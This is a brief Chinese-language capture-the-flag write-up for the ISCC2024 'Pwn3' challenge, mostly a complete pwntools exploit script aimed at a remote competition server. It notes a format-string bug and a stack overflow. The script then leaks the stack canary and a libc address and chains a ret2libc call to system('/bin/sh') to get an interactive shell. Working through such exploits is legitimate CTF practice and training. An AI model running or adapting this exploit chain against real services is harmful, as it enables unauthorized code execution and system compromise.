Bootstrap

ISCC2024个人挑战赛WP-Flag

Pwn3-Flag

在welcome中

有一个fmt漏洞,但是需要和远程中的help.txt字符相同才行,随便测试一下发现第一个字符是a

back函数里面溢出,先利用fmt函数泄露出canary,然后利用溢出打正常的ret2libc

from pwn import *
from LibcSearcher import*
p=remote('182.92.237.102',10012)
FILENAME='../pwn'
# p=process(FILENAME)
elf=ELF(FILENAME)
# libc=ELF('../libc.so.6')
# p=gdb.debug(FILENAME,'b* 0x08049422')
# gdb.attach(p,'b* 0x8049366')

context.arch='i386'

payload=b'a%19$p'
p.sendline(payload)

p.recvuntil(b'0x')
canary=int(p.recv(4*2),16)
success('canary '+hex(canary))

leak='read'
leak_got=elf.got[leak]
puts_plt=elf.plt['puts']
call_back=0x80494E0

payload=b'a'*(136)+p32(canary)+p32(0xdead)+b'a'*(8)
payload+=p32(puts_plt)+p32(call_back)+p32(leak_got)
p.recvuntil(b'Input')
p.sendline(payload)

leak_add=u32(p.recvuntil(b'\xf7')[-4:])
libc=LibcSearcher(leak,leak_add)
libcbase=leak_add-libc.dump(leak)
system=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
log.info('libcbase '+hex(libcbase))


payload=b'a'*(136)+p32(canary)+p32(0xdead)+b'a'*(8)
payload+=p32(system)+p32(call_back)+p32(str_bin_sh)
p.recvuntil(b'Input')
p.sendline(payload)

p.interactive()

;